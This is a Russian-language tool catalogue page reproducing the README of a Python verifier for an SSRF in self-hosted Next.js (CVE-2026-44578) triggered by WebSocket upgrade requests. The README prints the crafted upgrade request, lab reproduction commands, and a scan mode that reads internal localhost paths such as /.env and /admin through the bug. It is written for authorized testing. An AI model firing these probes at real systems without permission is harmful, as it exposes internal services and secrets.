Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
verify-ghsa-c4j6-fc7j-m34r — OOB-верификатор для GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (SSRF через WebSocket-upgrade в Next.js) | Kitploit
Инструменты/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

OOB-верификатор для GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (SSRF через WebSocket-upgrade в Next.js)

Репозиторий
23 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

verify-ghsa-c4j6-fc7j-m34r

In-band верификатор для GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Server-Side Request Forgery (SSRF) в Next.js через WebSocket upgrade-запросы.

⚠️ Только для авторизованного тестирования безопасности. Вы несёте ответственность за то, чтобы у вас было разрешение на тестирование каждой цели, которую вы передаёте этому скрипту.

Уязвимость

ПолеЗначение
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (высокий) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Затронутые версииnext >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
Исправленные версии15.5.16, 16.2.5
Коммит с исправлениемc4f69086
Не затронутыРазмещённые на Vercel; output: "export"; развёртывания за обратным прокси, который не передаёт Upgrade

Как именно работает баг (проверено эмпирически на 15.5.15 против 15.5.16)

  1. Атакующий открывает TCP-соединение к самостоятельно размещённому процессу Next.js и отправляет HTTP/1.1 WebSocket upgrade, чей request-URI является абсолютным URL:

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. В resolveRoutes URL содержит // (как и любой абсолютный URI), что соответствует ветке «нормализация повторяющихся слэшей». Эта ветка возвращается раньше времени с { finished: true, statusCode: 308, parsedUrl: <mangled> }. Нормализатор схлопывает http://host/path в http:/host/path (один слэш).

  3. В router-server.ts обработчик upgrade до исправления игнорировал finished/statusCode и проверял только parsedUrl.protocol. Поскольку протокол переживает нормализацию, вызывался proxyRequest(...).

  4. proxyRequest выполняет url.format(parsedUrl) над искажённым URL, получая http:/host:port/path. http-proxy разбирает этот target, не находит host (url.parse('http:/...').host === null) и откатывается к своему назначению по умолчанию: localhost:80 (или localhost:443 для https).

  5. Таким образом, на практике SSRF позволяет заставить Next открыть WebSocket upgrade на собственные localhost:80 / localhost:443 хоста Next.js с путём, контролируемым атакующим.

Исправление (коммит c4f69086) заставило обработчик upgrade проверять finished && !statusCode перед проксированием. Случай с 308-нормализацией теперь не проходит проверку !statusCode, и сокет вместо этого закрывается.

Почему callback-based OOB-верификатор не сработает для этого CVE

Прокси никогда не достигает внешнего хоста. Если вы настроите interactsh / Burp Collaborator / webhook canary и ожидаете, что процесс Next «позвонит домой», этого не произойдёт — соединение уходит на localhost целевой машины. Поэтому данный верификатор использует in-band сигнал, читаемый из upgrade-сокета: уязвимый сервер возвращает распознаваемое тело ошибки, исправленный сервер не возвращает ничего.

Практическое влияние

Цель SSRF ограничена, но всё ещё значима в реальных развёртываниях:

  • Sidecar-контейнеры / обратные прокси / админ-панели, размещённые на том же хосте, которые слушают 127.0.0.1:80 или :443 и доверяют запросам с localhost.
  • Docker-сокет, доступный по HTTP на 127.0.0.1:80 (редко, но встречается).
  • Path traversal в любой локальный HTTP-сервис с контролируемым атакующим URI-путём и семантикой WebSocket upgrade.

Метаданные-эндпоинты AWS / GCP / Azure (169.254.169.254) не доступны напрямую, поскольку баг привязывает назначение к localhost.

Модель детектирования

Для каждой цели скрипт открывает сырой TCP (или TLS) сокет, отправляет сформированный upgrade, читает ответ и формирует два сигнала:

  • verdict — присутствует ли баг.
  • impact_confirmed — действительно ли SSRF извлёк данные (т.е. совмещённый сервис на localhost:80/443 цели ответил, и мы получили его ответ).
ОтветВердиктimpact_confirmed
Содержит Internal Server Errorvulnerablefalse — баг доказан, но прокси ничего не нашёл на localhost
Начинается с HTTP/1.vulnerable_proxy_succeededtrue — реальные данные ответа извлечены
Пустой ответ / чистое закрытиеlikely_patchedfalse — также покрывает «не Next», «обратный прокси срезал Upgrade», «Vercel»
Идентичен контрольному запросу без Upgradefront_end_interceptsfalse — фронт-енд прокси перехватил оба зонда; SSRF так и не достиг Next
Всё остальноеinconclusivefalse

Когда impact_confirmed равен true, JSON-вывод также включает upstream_status, upstream_server и upstream_content_type, извлечённые из утёкшего ответа (полезно для разбора инцидента / написания отчёта).

Защита от ложных срабатываний фронт-енд прокси

По умолчанию каждая цель также получает контрольный зонд с той же строкой запроса с абсолютным URI, но без заголовков Upgrade (Connection: close). Если фронт-енд возвращает одинаковый ответ на оба зонда (строка статуса + размер в пределах допуска), значит, собственный фронт-енд хоста отклоняет саму строку запроса с абсолютным URI — nginx 400, Apache 400, CDN edge — и SSRF так и не достиг Next. Вердикт понижается до front_end_intercepts, а JSON-вывод включает front_end_status и front_end_server, извлечённые из ответа прокси, чтобы оператор мог определить, что перехватывает запросы.

Это устраняет реальное ложное срабатывание, наблюдаемое, когда самостоятельно размещённый Next находится за nginx/Apache: эти прокси отклоняют строку запроса зонда GET http:///x HTTP/1.1 стандартной ошибкой 400, которую детектор раньше ошибочно принимал за vulnerable_proxy_succeeded. Передайте --no-control-probe, чтобы отказаться от проверки и увидеть сырые вердикты.

Требования

  • Python 3.10+
  • Нет сторонних зависимостей (только стандартная библиотека)

Использование

root@kitploit:~
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com

# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py

# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

Режим сканирования

--scan опрашивает встроенный список распространённых путей (модули статуса Apache/nginx, health- и metrics-эндпоинты, Spring Boot Actuator, Go pprof, эндпоинты Docker daemon, распространённые админ-панели, утёкшие конфигурационные файлы, маршруты Elasticsearch и т.д.) через SSRF-гаджет.

По умолчанию режим сканирования выполняет один дополнительный дифференциальный базовый зонд со случайным несуществующим путём для каждой цели. Последующие зонды помечаются DIFF только когда их сигнатура (status, длина тела) отклоняется от базовой — одинаковые 404 от апстрима, который «ничего не нашёл», помечаются как noise и не увеличивают счётчик попаданий. Передайте --no-differential, чтобы сообщать о каждом зонде, достигшем сервиса (прежнее поведение).

Вывод группируется по целям:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (53 more 404 'noise' paths suppressed) ...
  -> 5 differential hit(s) / 58 probes
  -> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4

Строки DIFF — это реальные попадания: пути, чей ответ отклонился от базового случайного пути (другой статус, другая длина тела). Строки noise тоже достигли HTTP-сервиса, но вернули такой же скучный ответ, как и базовая линия, — как правило, одинаковые 404, которые оператору не важны. Если каждый зонд — noise и отклонений от базовой линии нет, баг всё ещё присутствует, но на localhost:80/443 этого хоста ничего полезного не слушает.

Флаги

ФлагОписаниеПо умолчанию
--target URLОдна цель. Повторяйте для нескольких.—
--targets-file PATHФайл с одной целью на строку.—
--probe-path PATHПуть, используемый в сформированном абсолютном URI. Достигает localhost-сервиса цели по этому пути (логируется с суффиксом токена для каждой цели)./x
--scanПеречисляет распространённые пути в localhost-сервисе каждой цели. Отправляет один дифференциальный базовый зонд на цель плюс список путей.выкл.
--scan-paths-file PATHПользовательский список путей для режима сканирования (по одному на строку). Подразумевает --scan.встроенный
--no-differentialВ режиме --scan пропускает базовый зонд и сообщает о каждом зонде, достигшем сервиса (прежнее поведение).выкл.
--no-control-probeОтключает защиту от перехвата запроса фронт-ендом (дополнительный зонд без Upgrade на цель). Полезно, когда точно известно, что цели — это напрямую процессы Next.выкл.
--timeout SECТаймаут одного сокета.5
--concurrency NКоличество параллельных зондов.10
--insecureПропустить проверку сертификата TLS. Требуется с --proxy при MITM TLS.выкл.
--proxy URLТуннелирование через HTTP CONNECT прокси (Burp / mitmproxy / ZAP). Поддерживает базовую аутентификацию через http://user:pass@host:port. Требует Python 3.11+ для TLS-целей.напрямую
--jsonВыдаёт JSON Lines вместо человекочитаемого текста.выкл.

Цели могут быть host, host:port или полными http(s)://... URL.

Поддержка прокси

Туннелируйте все зонды через HTTP CONNECT прокси для инспекции в Burp / mitmproxy / OWASP ZAP:

root@kitploit:~
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

Прокси видит CONNECT host:port, за которым следует сырая upgrade-нагрузка, — полезно, когда вы хотите, чтобы Burp логировал/воспроизводил/изменял SSRF-зонды.

Локальное воспроизведение

Вы можете запустить уязвимую лабораторию пятью командами:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

Вывод:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

Повторите с [email protected] — вы должны увидеть verdict=likely_patched.

Демонстрация воздействия (реальное извлечение данных)

demo_impact.sh запускает Next на :80 (так что его цель SSRF, привязанная к localhost, является тем же процессом Next) и читает через баг собственный HTML Next. Требуется sudo для привязки привилегированного порта.

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

Ожидаемый вывод заканчивается строкой IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.

Предостережения

  • Ложные отрицательные результаты: любой обратный прокси перед Next, который не передаёт заголовок Upgrade, замаскирует уязвимость; скрипт сообщит likely_patched. Если возможно, протестируйте напрямую процесс Next.
  • Ложные положительные результаты: буквальная строка Internal Server Error теоретически может быть возвращена вышестоящим прокси самостоятельно. Чтобы исключить это, отправьте ту же нагрузку с Connection: close вместо Connection: Upgrade — реально уязвимый Next в этом случае перестаёт возвращать тело Internal Server Error (другой путь выполнения кода).
  • Цели только на HTTP/2: не обрабатываются. next start по умолчанию использует HTTP/1.1.

Ответственное использование

Тестируйте только те системы, которыми вы владеете или на оценку которых у вас есть явное письменное разрешение.

Ссылки

  • Консультация (advisory): https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Релиз Next.js v15.5.16: https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Релиз Next.js v16.2.5: https://github.com/vercel/next.js/releases/tag/v16.2.5
  • Коммит с исправлением: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

Лицензия

MIT

Скачать инструмент